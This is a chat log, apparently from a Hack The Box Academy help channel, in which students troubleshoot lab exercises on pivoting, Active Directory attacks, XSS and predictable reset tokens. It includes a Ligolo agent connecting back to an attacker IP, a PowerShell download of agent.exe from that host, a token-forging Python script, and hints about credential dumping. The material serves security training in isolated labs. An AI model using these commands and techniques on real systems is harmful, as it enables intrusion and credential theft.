modules

[rich osprey]

Someone can help me i have a issue for the Repeating Request section on the Using wrb proxys modules, when i do the commande injection and i change the directory there is nothing

[dire abyss]

dang vpn is crapping out again

[astral inlet]

performace probs again with EU ?

[astral inlet]

curl http://10.129.121.59
curl: (52) Empty reply from server

or is it indeted ?

https://academy.hackthebox.com/module/103/section/984

[astral inlet]

ok pwnbox works, probably vpn

[marsh wave]

Has anyone completed the Intro to Whitebox Pentesting Skills Assessment? I can get RCE on the test system, but the same payload does nothing on the target. I was just wondering if the target has a WAF that we need to bypass or any other controls?

[earnest ginkgo]

Hi, I am doing the introduction to assembly and i have an issue in my code assembly code.The objective is the print a string an then prompt a value to the user and then finally print fibonacci sequence. But i have an issue. I don't write to the terminal the string ""Please input max Fn". Any help pls ?

global _start
extern  printf, scanf

section .data
  message db "Please input max Fn",0x0a
  outFormat db "%d",0x0a,0x00
  inFormat db "%d",0x00

section .bss
  userInput resb 1

section .text
_start:
  call printMessage
  call getInput
  call initFib
  call loopFib
  call exit

printMessage:
  mov al, 1; syscall number (write)
  mov dil, 1; set stdout
  mov rsi, message; message to print
  mov dl, 20; set length of the message
  syscall
  ret

getInput:
  mov rdi, inFormat   ; set 1st parameter (inFormat)
  mov rsi, userInput  ; set 2nd parameter (userInput)
  sub rsp, 8
  call scanf
  add rsp, 8
  ret

initFib:
  xor rax, rax
  xor rbx, rbx
  inc bl
  ret

loopFib:
  call printFib
  add rax,rbx
  xchg rax, rbx
  cmp rbx, [userInput]; do rbx - userInput 
  js loopFib; loop if result is < 0
  ret

printFib:
  push rax; save registers to stack before calling function
  push rbx
  mov rdi, outFormat; set printf format
  mov rsi, rbx; set printf digit to print 
  call printf; function call
  pop rbx; restore registers from stack
  pop rax
  ret

exit:
  mov al, 60; syscall number (exit)
  mov dil, 0; exit status
  syscall

[smoky pelican]

Anyone here so friendly to help me out on the skill assessment of HTTP attacks? :)

[devout pelican]

Hi, I am doing the 'Introduction to XSS Exploitation' section of the 'ADVANCED XSS AND CSRF EXPLOITATION' module. I could not make the xhr requests from the exploit server because CORS has not been set as the browser console told it in an error message (and I can see the same in the HTTP responses).

I found a workaround as ||I've inserted the whole exploit code into the application comment tag so the exploit server was completely skipped and the obtained base64 code of the xhr response was immediately sent to the exfiltration server by normal form submission instead of xhr.|| It worked well but I am not sure that it was the intended way of solving this exercise or I missed something and there was an other way.

BTW as I examined later sections xhr is used everywhere but I don't understand that if CORS headers are not in the HTTP reponse how could any xhr request successed from the exploitserver to the vulnerableserver?

Thanks in advance if someone could give me an answer to this!

[signal laurel]

can I DM someone for the NOSQL skill 2 assessment?

[jolly jackal]

which has more potential Data Scientist or Ethical Hacking

Interactive Section with Terminal

Based on the commands you executed, what is likely to be the operating system flavor of this instance? (case-sensitive)

what would be the answer

I think it is from module 15 and section 35

[winter herald]

dumb question: I used academy a long time ago and thought I recalled each time I would spawn a target machine in a module, it would give me the name of a the ssh user and password to ssh into the machine. now that I'm getting back into academy, when I spawn the target machine I don't see a username/password for ssh so what should I use? I only see the IP address which isn't enough to get on the machine to do the module work

[buoyant void]

Depends on what the module is, what module are you trying to do?

[winter herald]

currently on network enumeration with nmap module but I had the same issue (of not seeing ssh user/password) in the getting starting module

[buoyant void]

It's not asking you to SSH into this target, it's asking you to use NSE scripts to find the flag which you could do from the pwnbox or your own VM

[limber river]

they are asking you to scan it

so just use the tools from the section

[fathom pendant]

module name and section name are better than module number and section number

for us to help*

[winter herald]

good point, no need for ssh on that section. what about this from the getting started section though? to esalate privileges on the nibble machine, I'd need to ssh into it

[limber river]

at this point it suppose to already got foothold in the target

so you are already in

ig the sections in this module are related to each other

[fathom pendant]

all the "nibbles" sections are inter-connected

[winter herald]

it must be bugged if that's the case because it sounds like you're saying the ssh user/password would only be provided on the initial foothold section but even that isn't showing a username/password for me. sorry, maybe I'm being really dumb right now but I'm just not seeing the username/password anywhere

[limber river]

yooo don't spoil

[fathom pendant]

escalate privileges means find a way to become root

[fathom pendant]

your initial foothold is as a user

[limber river]

keep it simple , if there's no ssh user/password so you don't need it

[fathom pendant]

you need to find out how to become higher priveleged

(also the sections themselves are pretty much walkthroughs)

[winter herald]

okay. sounds like I need to get a reverse shell through some other means for this module rather than sshing into the target

thanks everyone!

[limber river]

yeah that's it

[fathom pendant]

i mean the priv-esc section is after you've already gained some shell access as user

hence: privilege escalation

[limber river]

@winter herald nice name

[winter herald]

yeah I think I know how to proceed now, thanks!

[winter herald]

appreciate it! not many people probably get the reference

[limber river]

I use this nickname sometimes

[fathom pendant]

considering it's an isolated environment; fucking around and finding out just means you'd have to reset it for yourself and not mess with other users

[mellow delta]

https://academy.hackthebox.com/module/77/section/844 I am currently working on this module. I was able to ssh into the server and gain access the user2 group and get the user2 flag. I am struggling with how to escalate privilge to gain access to the root flag. I have been able to find and read both the pub and priv rsa keys, but I am not sure if I am on the right track. Can someone help me with some guidance please?

[fathom pendant]

ls -la can be powerful. looking around is a surefire way of finding things

note: ls can be given a filepath i.e. /root/ to have it list that filepath instead of the current working directory

ls -la /file/path

[mellow delta]

thanks, let me mess around with that a while, would I be doing this as the initial user1? I am assuming not, and wanting to be switched into the user2 group

[fathom pendant]

user2 is the second-to-last step in the chain

you still need to find a way to become root

[mellow delta]

yes

[fathom pendant]

but user2 can see some interesting files

so looking around is a good idea

[mellow delta]

can you help me understand the difference between being in group2 as user1 and being user2?

[fathom pendant]

you're overthinking

user1 and user2 are different users

they will see things the other can't

[limber river]

each user/groups got different privileges

depends on the privileges of the user you got , you need to figure out a way to do the priv esc

[fathom pendant]

this one is kinda simple ngl

[mellow delta]

not for me ngl

[fathom pendant]

i mean i gave you a rather big hint with user2

ls -la around

[mellow delta]

in the root directory or elsewhere?

[limber river]

keep it simple , you got user 2 so ur next step is root

so look if you can find smtg juicy in the root directory

[mellow delta]

ok thanks

I am still lost, I apologise. I am in user2 group in the root directory. I ls -la and i have preceeded to cat all the files there. I am not sure what I am looking for, I haven't seen evidence of credentials in these files. We discusses rsa public and private keys earlier but you said I was overthinking, not looking for the answer here, but more clarification I guess surrounding what I am looking for to escalate privilige to the root

the hint on the htb lab says don't forget chmod, which makes me think its about the public key

[fathom pendant]

rsa keys are like credentials

:)

[mellow delta]

yea, I think I understand that, are you saying I need to grab the private key and use that to ssh in again?

I think

[thorn urchin]

wouldnt hurt to try

if you can grab a users ssh key thats always a win. even if its just for persistence sake

[mellow delta]

cool I just need to figure out where to put it on my machine lol

[thorn urchin]

you dont need to put it anywhere special

[fathom pendant]

^

the location on your machine doesn't matter for the purposes of using keys

[thorn urchin]

you just need to look up how to use one 🙂

[fathom pendant]

it's as simple as providing a command flag/tag to use it

[mellow delta]

you guys are amazing

thank you

[limber river]

sometimes , you just need to try ur ideas and see how to apply it

[mellow delta]

yes, I think I wind up in a self doubt loop sometimes that traps me

[fathom pendant]

^

Do first, question later: worst that can happen in running a command on the target is that you brick it and need to restart it

[mellow delta]

very true, thank you for the patience

It's great that you help without giving the solution

[fathom pendant]

It fosters critical thinking

[mellow delta]

yep, it's perfect

[thorn urchin]

Im a huge fan of this. The whole beauty of VMs and instanced labs is you can fuck something up catastrophically and undo the damage like magic. Go wild and break shit on accident now instead of doing it later on a client 😛

[spiral spoke]

Hello! Excuse me, I think that there is a kind of error on the **Lab of Module: XSS > Section: Phishing **

I've just started with the IP target, Iv'e already restarted twice but is the same issue:

There is nothing at the web page! Is this how it should look?

Oh

[fathom pendant]

Break while the only cost is time, not money

[fathom pendant]

I think there's a filepath it wants you to start as like /send.php or something

[twilit cipher]

If anyone has any pointers for the "Introduction to NoSQL Injection" "Skills Assessment II", I'd love to hear it. About ready to fall on my own blade over here.

[spiral spoke]

Yeah... I just notice that lol!
it's at 10.10x.x/phishing
Sorry, I was blind

[fathom pendant]

imagine reading

[bronze vine]

Hi I'm trying to figure out why my connection to the target is having trouble. I can connect sometimes but will pretty much freeze up after a min if I'm lucky to do anything. is there a way i can get a stable connection my internet connection is 800+Mbps up and down.

[jolly jackal]

I still gave u the name

[jolly jackal]

in india

[fathom pendant]

No you didn't

[fathom pendant]

No idea brother that's something you gotta research on your own

[limber river]

||don't tell me to hit enter||

[fathom pendant]

Have you tried pressing any keys?

(Genuine)

[limber river]

all of them

lol

maybe pivoting make it slow

[fathom pendant]

Potentially lol

I didn't have issues with ligolo and rdp pivots

[limber river]

if I reset the lab , I will need to re-transfer the files

pain

[jolly jackal]

hmmm

[jolly jackal]

it is in Introduction of Academy

[fathom pendant]

Did you do the commands as shown in the section?

[jolly jackal]

ohh i gave u the section of it sorry my bad

[jolly jackal]

ya i did in the terminal

in the parrot terminal

[fathom pendant]

If you're gonna use the reply feature, don't leave the @ on its annoying when I'm already still here

[jolly jackal]

ok

[fathom pendant]

Ttl is a neat thing when dealing with operating systems

[jolly jackal]

what is that

[fathom pendant]

TTL = time to live

[jolly jackal]

Ttl never heard of that thing

wait is that a concept

or u joking ?

[lusty thicket]

same

[jolly jackal]

ya

[fathom pendant]

No, it's how many hops before a packet is discarded

[jolly jackal]

i don't what u r trying to say

[lusty thicket]

[fathom pendant]

Look at the responses of the commands you've run against the target

Note the target is the 10.129.x.x or some variation when you "click here to spawn target"

[jolly jackal]

wait i did not got any target

the instruction said me to write a command in the terminal

[lusty thicket]

you might have to spawn it

[jolly jackal]

wait how can i do it

the instruction told me to write uname -a

in the base terminal

and i got something like SMP PREEMPT_DYNAMIC

[next bronze]

well yes that's correct, there are also other things in the output

[jolly jackal]

what are the other answers

Based on the commands you executed, what is likely to be the operating system flavor of this instance? (case-sensitive)

and what will be the answer of this question

[next bronze]

look at the output, try/google some of the possible answers

[limber river]

Mr eggplant teach the newcomers how to learn xD

[steep kraken]

module : active directory enumeration and attacks > priviledges access > Question What other user in the domain has CanPSRemote rights to a host? . can i get the answer from using powershell only? im having a hard time on this one. can anyone help me

[mossy nest]

You can get the response by using sharphound i think

And bloodhound

Hey does anybody made splunk section in attacking common application module recently. I tried to reach the service that i can see in nmap but i can't curl it or access it with firefox (tried 8000 and 8089 ports)

[acoustic owl]

Try https

[mossy nest]

Thanks

NMAP TOLD ME BUT I DIDN'T READ

[limber river]

hello , trying to use bloohound-python with pivoting can't get it to work , even that I added the FQDNs to the /etc/hosts
nb: I can request TGTs
any help ?

[next bronze]

what's' the command you used

[limber river]

sudo bloodhound-python -u 'user' -p 'password' -ns 172.16.8.3 -d inlanefreight.local -c all

[next bronze]

try with -k

[errant swift]

Hey, u got any update on this one? Got the same problem with this one 😢

[icy marsh]

Hi all, I am at the "Getting Started module" in this specific section: https://academy.hackthebox.com/module/77/section/726

When launching the command as example: nmap --script smb-os-discovery.nse -p445 I get the following error, could you please help me?

Host script results:
| smb-os-discovery: 
|_  ERROR: Could not negotiate a connection:SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [9]
Final times for host: srtt: 39317 rttvar: 30744  to: 162293

[limber river]

the same issue , start to think it's problem from the version of bloodhound

[next bronze]

the error seems like it's trying to target a machine without ldap open or the ip is wrong

your hosts file is correct?

[icy marsh]

Thanks for your help. I don't think the IP is incorrect since I can do the other exercices in the section. Regarding LDAP open, I am using a Kali Linux VM on my computer, I will try this thanks

[west spindle]

Pm me @errant swift

[limber river]

it looks good

I added the FQDN of the host and the DOMAIN

[next bronze]

i wasnt replying to you 😅

[next bronze]

weird it's a basic ldap error

reset the target?

or try rusthound

[limber river]

already did few times

[next bronze]

or probe it with nxc ldap

[limber river]

wait lemme try ldapsearch

[soft cedar]

Just wondering, did you also add them to your etc/hosts file ?

[limber river]

yeah , I did

I used the same shiit in the AD module

[soft cedar]

Alright, I tend to face similar problems. Sometimes I get it to work after 2/3 tries idk why.

[limber river]

ldap is working

[next bronze]

reset the target probably, make sure the ip is correct

[next bronze]

update bloodhound.py?

[limber river]

I restart my machine and start over lol

but probably need to update it

I got the .zip file using sharphound but it's not compatible with bloodhound so ....

[next bronze]

just use an older version

[limber river]

of bloodhound ?

[next bronze]

sharphound

[limber river]

okay , I will try

[icy marsh]

Already done this 3 times, I'm sure the IP is correct because I can do a scan and I can see the port 445 open for SMB, the only thing that doesn't work is the usage of smb-os-discovery.nse script

[raven lagoon]

nvm fixed

[dreamy solar]

Hello help me whu I have a problem with this command

plz

[limber river]

are you sure , your server is UP ?

[leaden quail]

Hello together,

I have a question about Kerberos delegation.

My understanding of unconstrained delegation:
If unconstrained delegation is activated for a service (e.g. in this case a web server), when a user requests a TGS for this service (web server), his TGT is packed into the service ticket and when this is sent to the web server and unpacked and the TGT contained is stored in the LSASS. The web server can now use the TGT to impersonate the user and request service tickets from the DC on behalf of the user.

If constrained delegation is activated for a web server, the number of services for which the web server can authenticate as any user is limited. (e.g. the web server may only impersonate on SQL server A). I know that i can set this in the AD settings by setting a list to the web server of the services for which it has delegation rights, but my question is how is this implemented on a technical level?

Unfortunately, I have not yet fully understood the resourced-based constrained delegation. A service decides whose objects it trusts and which object is allowed to impersonate and access its resources. Is this correct, and if so, what is the advantage here and how is this implemented on a technical level?

[dreamy solar]

yes

[dreamy solar]

I forget something?

4aa35211f355a1b240b8ce76e1cc7fbc

[icy marsh]

Finally it didn't work but smbclient did on the same machine so maybe there's a problem with my local install of nmap ? 🤷‍♂️

[next bronze]

you can update your nmap, and that script is also not the only thing you can use

[limber river]

any1 having this issue

[dreamy solar]

I am connecting but why I don't success to travel in the directory ??

[tranquil axle]

RBCD is kind of weird. If you have generic-write on a computer (lets say the DC) then you can compromise a SPN (or create a new machine account and make that into one) and add this compromised SPN to the DCs "msDS-AllowedToActOnBehalfOfOtherIdentity". Once you've done that you can do the standard s4u to impersonate the Admin on the DC machine.

It does require you having GenericWrite, GenericAll, WriteProperty, or WriteDACL on the target computer, so its a edge case that you aren't that likely to see

[next bronze]

constrained delegation uses the S4U extension,

The S4U2self extension allows a service to obtain a service ticket to itself on behalf of a user.
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13
The Service for User to Proxy (S4U2proxy) extension provides a service that obtains a service ticket to another service on behalf of a user. This feature is known as constrained delegation.
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a

RBCD uses the ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute
https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity

[icy marsh]

Thanks, I already made sure I am in the latest nmap version for linux, but no worries because smbclient did the work, thank you for your help 👍

[ruby whale]

😦 anyone stuck be sure to check your vpn connection , after being stuck for like 30-40 min I find out I am not connected to VPN

[limber river]

I use the oldest version of sharphound at the end

[next bronze]

I think 2.0 should work

[limber river]

it didn't

[next bronze]

when you run sharphound it will tell you the min version of bh it's compitable with

[limber river]

didn't know that , I learned a lot from you

[cedar void]

Has anyone ever been in a situation where when you ping the command "./agent -connect 10.10.15.122:11601 -ignore-cert" you don't get any response back from ligolo? What do you do in that situation? I tried rebooting my whole machine and that had no effect

[soft cedar]

Did you add the IP subnet to the route list ?

[cedar void]

the target machine address or the internal address on the target machine?

[soft cedar]

Internal.

You can check that info on the target machine / ligolo session with ifconfig.

[soft cedar]

Have you already gotten a connection from running the agent on the target?

[next bronze]

I think they're saying that the agent is not connecting to the proxy

[cedar void]

yes

[soft cedar]

Yeah, I just read that now

[next bronze]

I'd check if the IP and port is correct

and nothing is blocking the connection

[soft cedar]

^

[cedar void]

./agent -connect 10.10.15.122:11601 -ignore-cert

[soft cedar]

What do you get when you run the agent on the Linux machine?

[cedar void]

No connection back.

[limber river]

yooo this windows , not linux

[soft cedar]

It is a windows target

[limber river]

you need agent.exe

[next bronze]

[limber river]

don't laugh

[next bronze]

I'm crying

[soft cedar]

I just felt blud did that on a windows lol

[limber river]

@cedar void if I was you , I will just stop and go two or three steps back

[cedar void]

Same result.

[soft cedar]

Is this first or second pivot ?

Try .\agent.exe might help

[limber river]

Ig it's .\ not ./

[next bronze]

doesn't matter for powershell

[cedar void]

Yeah that didn't make a difference

[next bronze]

is the port number correct? and can the target reach the proxy?

[cedar void]

I thought the port number was always the same for ligolo proxys...whichi is 11601

[limber river]

I mean if you need to do it from windows , so probably it will be double pivot

[cedar void]

It is the same

[limber river]

so you need to make agent.exe -connect ipofpivothost:port -ignore-cert

[soft cedar]

.

[cedar void]

First pivot?

[limber river]

screen of ipconfig from the windows machine plz ?

[limber river]

you can ping the 10.129.102.151 right ?

[cedar void]

Yep .ping 10.129.102.151 1 ⨯
PING 10.129.102.151 (10.129.102.151) 56(84) bytes of data.
64 bytes from 10.129.102.151: icmp_seq=1 ttl=127 time=98.5 ms
64 bytes from 10.129.102.151: icmp_seq=2 ttl=127 time=105 ms
64 bytes from 10.129.102.151: icmp_seq=3 ttl=127 time=100 ms
64 bytes from 10.129.102.151: icmp_seq=4 ttl=127 time=112 ms
64 bytes from 10.129.102.151: icmp_seq=5 ttl=127 time=102 ms
64 bytes from 10.129.102.151: icmp_seq=6 ttl=127 time=158 ms
64 bytes from 10.129.102.151: icmp_seq=7 ttl=127 time=181 ms
64 bytes from 10.129.102.151: icmp_seq=8 ttl=127 time=775 ms
64 bytes from 10.129.102.151: icmp_seq=9 ttl=127 time=132 ms
64 bytes from 10.129.102.151: icmp_seq=10 ttl=127 time=149 ms
64 bytes from 10.129.102.151: icmp_seq=12 ttl=127 time=103 ms
64 bytes from 10.129.102.151: icmp_seq=13 ttl=127 time=109 ms
64 bytes from 10.129.102.151: icmp_seq=14 ttl=127 time=103 ms
64 bytes from 10.129.102.151: icmp_seq=15 ttl=127 time=133 ms
64 bytes from 10.129.102.151: icmp_seq=16 ttl=127 time=105 ms
64 bytes from 10.129.102.151: icmp_seq=17 ttl=127 time=100 ms
64 bytes from 10.129.102.151: icmp_seq=18 ttl=127 time=201 ms
64 bytes from 10.129.102.151: icmp_seq=19 ttl=127 time=736 ms
64 bytes from 10.129.102.151: icmp_seq=20 ttl=127 time=2062 ms
64 bytes from 10.129.102.151: icmp_seq=22 ttl=127 time=101 ms
64 bytes from 10.129.102.151: icmp_seq=23 ttl=127 time=179 ms
^C

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:fc:63:c5 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
valid_lft 84050sec preferred_lft 84050sec
inet6 fe80::a00:27ff:fefc:63c5/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.15.122/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::1178/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::eb81:65a3:316:41ea/64 scope link stable-privacy
valid_lft forever preferred_lft forever
4: ligolo: <NO-CARRIER,POINTOPOINT,MULTICAST,NOARP,UP> mtu 1500 qdisc pfifo_fast state DOWN group default qlen 500
link/none

[soft cedar]

What method did you use to copy the file over?

[cedar void]

python htttp.server

powershell wget -Uri http://10.10.15.122:8080/agent.exe -OutFile agent.exe

[soft cedar]

this might not be important but can you change the dir to users/administrator/Desktop (you’re doing AD assessment 1 right?) and copy over there and try ?

[soft cedar]

you could also try getting a new agent.exe. Again this is desperate troubleshooting

[candid lily]

does VPN work for everyone?

ok nvm it got fixed

i wish there was more tier 2 modules

[autumn palm]

Anyone who solved preditable reset tokens that are up for assisting me in troubleshooting my Python script? Please let me know.

import time
import requests
import re
from datetime import datetime

# Vulnerable application code.
#<?php
# function generate_reset_token($username) {
#  $time = intval(microtime(true) * 1000);
#  $token = md5($username . $time);
#  return $token;
#}

user = "htbuser"
admin = "htbadmin"
url = "http://IP:58589/question1/"


def generateToken(user, t):

    data = user + str(t)
    token = md5(data.encode()).hexdigest()

    time_obj = datetime.fromtimestamp( ( t / 1000) )
    formatted_time_string = time_obj.strftime("%Y-%m-%d %I:%M:%S%p")

    return "Token generated for: {}: {} @ {} @ miliseconds since epoch: {}".format(user, token, formatted_time_string, t)



# Retrieves the md5 hash of concatted value consisting of htbuser and servertime as well as the time(miliseconds since epoch) used to calculate the hash.

def getUserTokenAndTime():
    try: 
        data = {
            "submit": "htbuser"
        }
        
        res = requests.post(url, data)
        token = re.search(r'<strong>Your token is: (.*?)<\/strong>', res.text).group(1)
        time = re.search(r'created at (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}[ap]m)', res.text).group(1)

        time_struct = datetime.strptime(time, "%Y-%m-%d %I:%M:%S%p")
        t = int(time_struct.timestamp() * 1000)
    
        print("Token for htbuser: {} @ {} @ miliseconds since epoch {}".format(token, time, t))
        
        return token, time, t

    except Exception as e:
        pass
    

def main():
    
    token, timeCreated, t = getUserTokenAndTime()
    print(generateToken(user, t))
    print(generateToken(admin, t))

main()

[signal laurel]

Can anybody provide me with a nudge on the Nosql injection skills assessment II ?

[autumn palm]

This is the output: This is the output: Token for htbuser: b7c4d3d05de3347244eecd1f9b27213a @ 2024-02-27 02:01:33pm @ miliseconds since epoch 1709038893000 (Data from web application) Token generated for: htbuser: 366491095e5ae90f262d95888e37fcd8 @ 2024-02-27 02:01:33PM @ miliseconds since epoch: 1709038893000 Token generated for: htbadmin: c7d586b5509d400380647f1dc55d4f40 @ 2024-02-27 02:01:33PM @ miliseconds since epoch: 1709038893000

[next bronze]

how many requests are you sending? the window is +/- 1 seconds so you need to send 2000 requests

[kind turret]

dm me

[autumn palm]

I would expect that If I generate a single request with htbuser and the time stamp provided by the website, I would using my script calculate the same MD5 hash that is given by the server?

[next bronze]

Within an interval of +-1 second a token for the htbadmin user will also be created.

what do you think? do you know exactly when the token is created down to the millisecond?

[autumn palm]

oh - i think I get your point now.

[next bronze]

also make sure the timezone is correct, the server is in UTC

[queen gazelle]

I finally completed the Password Attacks Modules (I did all the challenge labs in one day - I had a headache afterwards 😂 ). My DMs are open if anyone needs a hint.

[noble hazel]

Currently working on Cross-Site(XSS) Session Hijacking. I used the index.php as is in the module. But when I submit the payload doesn't get back the cookie. I do see the server making the get request. Feel free to DM.

[autumn palm]

@next bronze thanks!!!

Match!
ad526a706fbf152f1a1c3fcc25e6af70```

[candid lily]

how to do this

am i supposed to like enter every day and look for highest

[empty atlas]

ssh2john.py giving me issues. Traceback (most recent call last):
File "/usr/share/john/ssh2john.py", line 193, in <module>
read_private_key(filename)
File "/usr/share/john/ssh2john.py", line 103, in read_private_key
data = base64.decodestring(data)

[candid lily]

show the command

[queen gazelle]

I just got the newest one from github and that fixed it for me.

[brisk acorn]

Hello guys i need some help with the Starting Point module vaccine:
i know that ssh is open on 22 on the target machine (10.129.95.174)

22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0ee58077534b00b9165b259569527a4 (RSA)
|   256 ac6e81188922d7a7417d814f1bb8b251 (ECDSA)
|_  256 425bc321dfefa20bc95e03421d69d028 (ED25519)

Since there is a postgres user, and i know the password so i wanted to connect to the target machine by ssh ( since the other shells are pretty unstable)

└─$ ssh postgres@10.129.95.174
Connection closed by 10.129.95.174 port 22

• The vpn works
• I can still connect with sqlmap and nc but the shell is unstable and kicks me out like every 2-3 minutes.
• The writeup does the same (connecting with ssh) and it works

Can someone tell me what i'm missing ?

[tawdry vapor]

Can anyone help me with Linux Priv Escalation, i'm in the sudo section

[tawdry vapor]

i got it

[late galleon]

looking for people to study for OSCP with

[severe sun]

hey i'm also facing the same issue ...

[brisk acorn]

ok. i thought thats on me. thanks!

[unreal granite]

Hello Everyone , hi i need help with the https://academy.hackthebox.com/module/143/section/1278 iam on the question Submit this user's cleartext password. iam really starting to get frustrated i tryed everything i imporsanted the ||tpetty|| user via mimikatz on the target machine ||172.16.6.50 ||and dcynced everything i cannot find a cleartext password . i tryed with dumping the|| lsass.dmp ||file and read it with ||pypykatz ||i tryed with ||secretsdump.py|| and i still didnt get any cleartexgt pw i tryed with cme same there. i dont know what to do anymore. I answered all the questions in the assasment but cant find the cleartext password pls i would need a hint or a nudge on what iam doing wrong or forgetting.

[next bronze]

dump lsa/security reg hive, not lsass

[unreal granite]

thx gonna try that

[iron sigil]

hello everyone, I have recently started using htb. I am stuck on this section - https://academy.hackthebox.com/module/77/section/843. My task is to find the services on the target web server and then search for its public exploits. I have to use that exploit to get the contents of the file "flag.txt". I am stuck on finding the exploit for a day and half. the question hint says to search for plugin exploits. Can you please give me a hint? I will add the results from nmap scan and gobuster below

[fathom pendant]

Try visiting the webpage

[iron sigil]

i did that and its about wordpress

[fathom pendant]

Look very closely at the page until it hits you like a ton of bricks

It's pretty simple from there

[iron sigil]

and also my chat keeps deleting about gobuster and nmap

i will do that, thanks

[fathom pendant]

Yes, as I said, the automod is detecting it as spam

[molten prawn]

Windows Privilege Escalation - Skill Assessment I - Last Question . im done trying

that last question is to torture the ones who escalated their privileges

[fathom pendant]

[iron sigil]

is it the ||wordpress database backup rce? ||

[fathom pendant]

Like I said simple

As in literally what's staring you in the face

[molten prawn]

okay i figured it out

i was being stupid

[minor dome]

someone from the community told me not to be afraid to ask my questions so here we go

trump gets relected 2028, ww3 and overpopulation destroy everything and he makes computers illegal, whats first step to make one from scratch in the desert ?

[fathom pendant]

Find a bunch of silicon, copper, and gold

Also this channel isn't the appropriate place to ask

Read #welcome and #rules

[minor dome]

ty

and welcome to u too

[minor dome]

but we can't make those from scratch ?

[fathom pendant]

And therein lies the problem

[minor dome]

erf

[fathom pendant]

I'm not saying welcome ya goon

[minor dome]

oops

[fathom pendant]

I'm saying read the welcome and rules channels

[minor dome]

i am convinced the whole 6 electrons and stuff is very likely fishy

[fathom pendant]

The question/conversation is off-topic for this channel, which is for assistance with academy modules

Not random ass hypotheticals

[minor dome]

they count them with energy calculations and all that but it's simplified, its not actually little balls that can be counted and quantified

[minor dome]

oh

[fathom pendant]

This is off-topic

[minor dome]

so it's not quote really mental quiet yet

[molten prawn]

[minor dome]

mb

please direct me

[fathom pendant]

.... I did

You just refuse to read

[minor dome]

https://tenor.com/view/schnoz-brb-be-right-back-berserk-schnoz-berserk-gif-4193445607831581673

[fathom pendant]

#welcome explains what all the channels are and how to access them

[molten prawn]

apparently you are facing difficulties understanding simple instructions

[molten prawn]

you just got son'ed by discord

read the rules , act accordingly

[iron sigil]

||i understood that it is using a simple backup plugin and that files are stored in a directory called simple-backup in the root folder, but i do not know how to proceed with this information ||

[fathom pendant]

Use searchsploit and/or metasploit

There's only like a small handful of exploits regarding the specific info given

The goal isn't always RCE

[iron sigil]

i did and i got this as a result from msf ||auxiliary/scanner/http/wp_simple_backup_file_read||

[fathom pendant]

Looks correct to me

Make sure you set the options correctly

[iron sigil]

i thinbk thats where i am going wrong

[fathom pendant]

I believe you only need to set the RHOST I dont recall if this lab uses a public ip

Well that and one other option

[iron sigil]

what about filepath and targeturi and rport

[fathom pendant]

If it's on port 80, no changes

Filepath can be interesting

Targeturi is also default

[iron sigil]

i have set rport to 46228 because my target is 94.237.56.248:46228

[rustic sage]

hi

[iron sigil]

filepath is /etc/simple-backup

[fathom pendant]

Incorrect

On the filepath

Look at the file it wants you to grab

:)

Also filepath is including the filename

Not just the directory

[iron sigil]

so like /etc/simple-backup/flag.txt

[fathom pendant]

Sort of, but you're overthinking it

I believe the question tells you where to look

Remember / is the root of the filesystem

[minor dome]

@static roost COMON

ENTER

Please!

[iron sigil]

i got it😭 thank you so much

[minor dome]

marcie u sound very advance

thank for helpin everyone

but who named those roles like that

[fathom pendant]

The roles are tied to the app.hackthebox.com platform

[minor dome]

and changed my name too

[minor dome]

:👍

[next bronze]

[fathom pendant]

Because your name likely contained non-standard characters

[stark wraith]

guys when im do nmap scan im get filtered problem how i can fix it someone can help me?

[minor dome]

wow an elite

[fathom pendant]

Could be a multitude of things

[minor dome]

hi

[fathom pendant]

What module/section are you on

[stark wraith]

me?

[minor dome]

vip too

[next bronze]

no thats @haughty stirrup

[fathom pendant]

This isn't a gen-chat

[minor dome]

wtf

[fathom pendant]

Yes

[minor dome]

are u youtube celebrity

brb i go look your website

[stark wraith]

-Pn -sV -f -script firewall-bypass example

[minor dome]

subscrube

[stark wraith]

and i tried more options

[static roost]

#Module: Kerberos Attacks
#Section: Unconstrained Delegation - Computers
#Sub-Section: Leveraging the Printer Bug

In this subsection it describes using machine account TGTs to craft Silver tickets when the DC spooler service isn't running, but the Silver Tickets section doesn't go over this specific scenario; rather it goes over using the NTLM of the target machine in order to craft STs for its services. I've been attempting to use the TGT of the target machine account (not a Domain Controller) but continue to get Access Denied errors. Basically the attack flow is like this:

1. Acquire Administrator on Unconstrained Delegation host.
2. Run Rubeus in monitor mode.
3. Coerce a Domain joined machine with a running spooler service to authenticate to the Unconstrained Delegation host, storing its TGT in memory.
4. Use the base64 encoded TGT of this machine (not a DC) to request a service ticket to its cifs service and import this ticket into current session.

At this point I am unable to access any shares (confirmed that shares do exist) on the coerced machine using this service ticket (Access Denied). I'm sure i'm missing something here. Any help or pointers would be awesome. Be glad to share more info.

[fathom pendant]

That doesn't tell me what academy module or section you're on

[stark wraith]

my with my own network?

and generally labs

[fathom pendant]

This channel is for help with academy modules, not homelab stuff

There's a #homelab-sysadm channel, but you have to read and follow #welcome to access it

[fading coyote]

